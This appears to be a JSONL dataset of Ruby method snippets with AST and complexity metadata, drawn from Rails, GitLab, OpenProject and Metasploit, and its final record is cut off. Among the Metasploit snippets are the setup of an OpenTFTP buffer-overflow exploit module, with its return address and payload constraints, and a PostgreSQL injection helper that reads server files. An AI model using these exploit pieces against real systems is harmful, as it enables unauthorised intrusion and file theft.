{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/foundstone_document.rb","start_line":225,"raw_source":"def report_fingerprint(host_object)\n      fp_note = {\n        :workspace => host_object.workspace,\n        :host => host_object,\n        :type => 'host.os.foundstone_fingerprint',\n        :data => {:os => @report_data[:os_fingerprint] }\n      }\n      db_report(:note, fp_note)\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"report_fingerprint\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host_object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fp_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_object\"]},\"workspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host_object\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"host.os.foundstone_fingerprint\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"os\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os_fingerprint\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"db_report\",{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"lvar\",\"children\":[\"fp_note\"]}]}]}]}","id":"98b22566-155c-4537-80c5-9e0ae6dca46a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/local/acronis_trueimage_xpc_privesc.rb","start_line":64,"raw_source":"def tmp_dir\n    datastore['WRITABLE_DIR'].to_s\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"tmp_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WRITABLE_DIR\"]}]},\"to_s\"]}]}","id":"190f27cb-fde4-4a04-b8ac-9bc308d72cac"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/lazy_load_hooks_test.rb","start_line":41,"raw_source":"def test_hook_registered_after_run\n    i = 0\n    ActiveSupport.run_load_hooks(:registered_after)\n    assert_equal 0, i\n    ActiveSupport.on_load(:registered_after) { i += 1 }\n    assert_equal 1, i\n  end","complexity_score":8.83,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hook_registered_after_run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"run_load_hooks\",{\"type\":\"sym\",\"children\":[\"registered_after\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"on_load\",{\"type\":\"sym\",\"children\":[\"registered_after\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}","id":"263e9643-ffd5-48e4-a151-32fc80f22efc"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":283,"raw_source":"def test_label_with_non_active_record_object\n    form_for(Struct.new(:name).new(\"ok\"), as: \"person\", url: \"/an\", html: { id: \"create-person\" }) do |f|\n      f.label(:name)\n    end\n\n    expected = whole_form(\"/an\", \"create-person\", \"new_person\", method: \"post\") do\n      '<label for=\"person_name\">Name</label>'\n    end\n\n    assert_dom_equal expected, @rendered\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_label_with_non_active_record_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Struct\"]},\"new\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"new\",{\"type\":\"str\",\"children\":[\"ok\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"person\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"/an\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"create-person\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"label\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/an\"]},{\"type\":\"str\",\"children\":[\"create-person\"]},{\"type\":\"str\",\"children\":[\"new_person\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"post\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"<label for=\\\"person_name\\\">Name</label>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"8f9c254a-779a-4acf-8447-732dfc48552b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/tftp/opentftp_error_code.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'OpenTFTP SP 1.4 Error Packet Overflow',\n        'Description' => %q{\n          This module exploits a buffer overflow in OpenTFTP Server SP 1.4.  The vulnerable\n          condition triggers when the TFTP opcode is configured as an error packet, the TFTP\n          service will then format the message using a sprintf() function, which causes an\n          overflow, therefore allowing remote code execution under the context of SYSTEM.\n\n          The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone',\n          or 'Service').  By default the target is set to 'Service' because that's the default\n          configuration during OpenTFTP Server SP 1.4's installation.\n        },\n        'Author' => [\n          'tixxDZ', # Initial discovery, poc\n          'steponequit' # Metasploit module\n        ],\n        'References' => [\n          ['CVE', '2008-2161'],\n          ['OSVDB', '44904'],\n          ['BID', '29111'],\n          ['URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/29111.pl']\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 5000,\n          'BadChars' => \"\\x00\\x0a\\x0d\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          # .bss section that is overwritten\n          [ 'OpenTFTP 1.4 Service', { 'Ret' => 0x0041b3ab } ],\n          [ 'OpenTFTP 1.4 Stand Alone', { 'Ret' => 0x0041b3ab } ]\n\n        ],\n        # TFTP server is installed as an NT service by default\n        'DefaultTarget' => 0,\n        'Privileged' => false,\n        'DisclosureDate' => '2008-07-05',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(69),\n      ]\n    )\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"OpenTFTP SP 1.4 Error Packet Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a buffer overflow in OpenTFTP Server SP 1.4.  The vulnerable\\n\"]},{\"type\":\"str\",\"children\":[\"          condition triggers when the TFTP opcode is configured as an error packet, the TFTP\\n\"]},{\"type\":\"str\",\"children\":[\"          service will then format the message using a sprintf() function, which causes an\\n\"]},{\"type\":\"str\",\"children\":[\"          overflow, therefore allowing remote code execution under the context of SYSTEM.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone',\\n\"]},{\"type\":\"str\",\"children\":[\"          or 'Service').  By default the target is set to 'Service' because that's the default\\n\"]},{\"type\":\"str\",\"children\":[\"          configuration during OpenTFTP Server SP 1.4's installation.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tixxDZ\"]},{\"type\":\"str\",\"children\":[\"steponequit\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2008-2161\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"44904\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"29111\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://downloads.securityfocus.com/vulnerabilities/exploits/29111.pl\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[5000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OpenTFTP 1.4 Service\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[4305835]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OpenTFTP 1.4 Stand Alone\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[4305835]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2008-07-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[69]}]}]}]}]}]}","id":"a083e3f0-d71d-445f-b7f1-29f57323cfd9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/sqli/postgresqli/common.rb","start_line":215,"raw_source":"def read_from_file(fpath, binary=false)\n      if binary\n        # pg_read_binary_file returns bytea\n        # an encoder might be needed\n        call_function(\"pg_read_binary_file('#{fpath}')\")\n      else\n        call_function(\"pg_read_file('#{fpath}')\")\n      end\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"read_from_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fpath\"]},{\"type\":\"optarg\",\"children\":[\"binary\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"binary\"]},{\"type\":\"send\",\"children\":[null,\"call_function\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"pg_read_binary_file('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpath\"]}]},{\"type\":\"str\",\"children\":[\"')\"]}]}]},{\"type\":\"send\",\"children\":[null,\"call_function\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"pg_read_file('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpath\"]}]},{\"type\":\"str\",\"children\":[\"')\"]}]}]}]}]}","id":"9692e8a9-3d30-4677-8fcc-ee7bcd40b4cd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/collation_checker.rb","start_line":87,"raw_source":"def run\n        result = {\n          'collation_mismatches' => [],\n          'corrupted_indexes' => [],\n          'skipped_indexes' => []\n        }\n\n        logger.info(\"Checking for PostgreSQL collation mismatches on #{database_name} database...\")\n\n        result['collation_mismatches'] = check_collation_mismatches\n\n        indexes_to_spot_check = transform_indexes_to_spot_check\n        logger.info(\"Found #{indexes_to_spot_check.count} indexes to corruption spot check.\")\n\n        if indexes_to_spot_check.any?\n          index_info = fetch_index_info(indexes_to_spot_check)\n\n          # Identify which indexes should be skipped due to size\n          large_indexes = index_info.select { |idx| idx['table_size_bytes'].to_i > max_table_size }\n          if large_indexes.any?\n            logger.info(\"Skipping duplicate checks for #{large_indexes.count} indexes due to large table size\")\n            large_indexes.each do |idx|\n              logger.info(\"  - Skipping #{idx['index_name']} on table #{idx['table_name']} \" \\\n                \"(table size: #{human_size(idx['table_size_bytes'].to_i)})\")\n\n              # Add to skipped checks with reason\n              result['skipped_indexes'] << {\n                'index_name' => idx['index_name'],\n                'table_name' => idx['table_name'],\n                'table_size_bytes' => idx['table_size_bytes'].to_i,\n                'index_size_bytes' => idx['index_size_bytes'].to_i,\n                'table_size_threshold' => max_table_size,\n                'reason' => 'table_size_exceeds_threshold'\n              }\n            end\n          end\n\n          # Check duplicates only for tables under the size threshold\n          result['corrupted_indexes'] = identify_corrupted_indexes(index_info - large_indexes)\n          log_results(result['corrupted_indexes'], result['skipped_indexes'])\n        else\n          logger.info(\"No indexes found for corruption spot check.\")\n        end\n\n        result\n      end","complexity_score":75.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"collation_mismatches\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"corrupted_indexes\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"skipped_indexes\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Checking for PostgreSQL collation mismatches on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database_name\"]}]},{\"type\":\"str\",\"children\":[\" database...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"collation_mismatches\"]},{\"type\":\"send\",\"children\":[null,\"check_collation_mismatches\"]}]},{\"type\":\"lvasgn\",\"children\":[\"indexes_to_spot_check\",{\"type\":\"send\",\"children\":[null,\"transform_indexes_to_spot_check\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indexes_to_spot_check\"]},\"count\"]}]},{\"type\":\"str\",\"children\":[\" indexes to corruption spot check.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indexes_to_spot_check\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index_info\",{\"type\":\"send\",\"children\":[null,\"fetch_index_info\",{\"type\":\"lvar\",\"children\":[\"indexes_to_spot_check\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"large_indexes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_info\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"idx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"[]\",{\"type\":\"str\",\"children\":[\"table_size_bytes\"]}]},\"to_i\"]},\">\",{\"type\":\"send\",\"children\":[null,\"max_table_size\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"large_indexes\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Skipping duplicate checks for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"large_indexes\"]},\"count\"]}]},{\"type\":\"str\",\"children\":[\" indexes due to large table size\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"large_indexes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"idx\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  - Skipping \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"[]\",{\"type\":\"str\",\"children\":[\"index_name\"]}]}]},{\"type\":\"str\",\"children\":[\" on table \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"[]\",{\"type\":\"str\",\"children\":[\"table_name\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(table size: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"human_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"[]\",{\"type\":\"str\",\"children\":[\"table_size_bytes\"]}]},\"to_i\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"skipped_indexes\"]}]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"index_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"[]\",{\"type\":\"str\",\"children\":[\"index_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"[]\",{\"type\":\"str\",\"children\":[\"table_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"table_size_bytes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"[]\",{\"type\":\"str\",\"children\":[\"table_size_bytes\"]}]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"index_size_bytes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"[]\",{\"type\":\"str\",\"children\":[\"index_size_bytes\"]}]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"table_size_threshold\"]},{\"type\":\"send\",\"children\":[null,\"max_table_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"reason\"]},{\"type\":\"str\",\"children\":[\"table_size_exceeds_threshold\"]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"corrupted_indexes\"]},{\"type\":\"send\",\"children\":[null,\"identify_corrupted_indexes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_info\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"large_indexes\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"log_results\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"corrupted_indexes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"skipped_indexes\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"No indexes found for corruption spot check.\"]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"d846ac26-2ea8-447d-a394-151de6ef58ee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":1345,"raw_source":"def destroy_webauthn_device(device_id)\n    self.second_factor_webauthn_registrations.find(device_id).destroy\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_webauthn_device\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"device_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"second_factor_webauthn_registrations\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"device_id\"]}]},\"destroy\"]}]}","id":"7ec0604c-2ec2-42d2-bef3-a5f9e8806281"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/root_api.rb","start_line":68,"raw_source":"def request_body\n        env[\"api.request.body\"]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"request_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"api.request.body\"]}]}]}","id":"61d037c6-5393-498a-b8a8-992a960bf203"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_service.rb","start_line":287,"raw_source":"def push_to_merge_request(merge_request, current_user, new_commits: [], existing_commits: [])\n    total_new_commits_count = new_commits.count\n    truncated_new_commits = new_commits.first(NEW_COMMIT_EMAIL_DISPLAY_LIMIT).map do |commit|\n      { short_id: commit.short_id, title: commit.title }\n    end\n\n    # We don't need the list of all existing commits. We need the first, the\n    # last, and the total number of existing commits only.\n    total_existing_commits_count = existing_commits.count\n    existing_commits = [existing_commits.first, existing_commits.last] if total_existing_commits_count > 2\n    existing_commits = existing_commits.map do |commit|\n      { short_id: commit.short_id, title: commit.title }\n    end\n\n    recipients = NotificationRecipients::BuildService.build_recipients(merge_request, current_user, action: \"push_to\")\n\n    recipients.each do |recipient|\n      mailer.send(\n        :push_to_merge_request_email,\n        recipient.user.id, merge_request.id, current_user.id, recipient.reason,\n        new_commits: truncated_new_commits, total_new_commits_count: total_new_commits_count,\n        existing_commits: existing_commits, total_existing_commits_count: total_existing_commits_count\n      ).deliver_later\n    end\n  end","complexity_score":39.4,"ast_json":"{\"type\":\"def\",\"children\":[\"push_to_merge_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"kwoptarg\",\"children\":[\"new_commits\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"existing_commits\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"total_new_commits_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_commits\"]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"truncated_new_commits\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_commits\"]},\"first\",{\"type\":\"const\",\"children\":[null,\"NEW_COMMIT_EMAIL_DISPLAY_LIMIT\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"short_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"title\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"total_existing_commits_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_commits\"]},\"count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total_existing_commits_count\"]},\">\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_commits\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_commits\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_commits\"]},\"last\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"existing_commits\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_commits\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit\"]}]},{\"type\":\"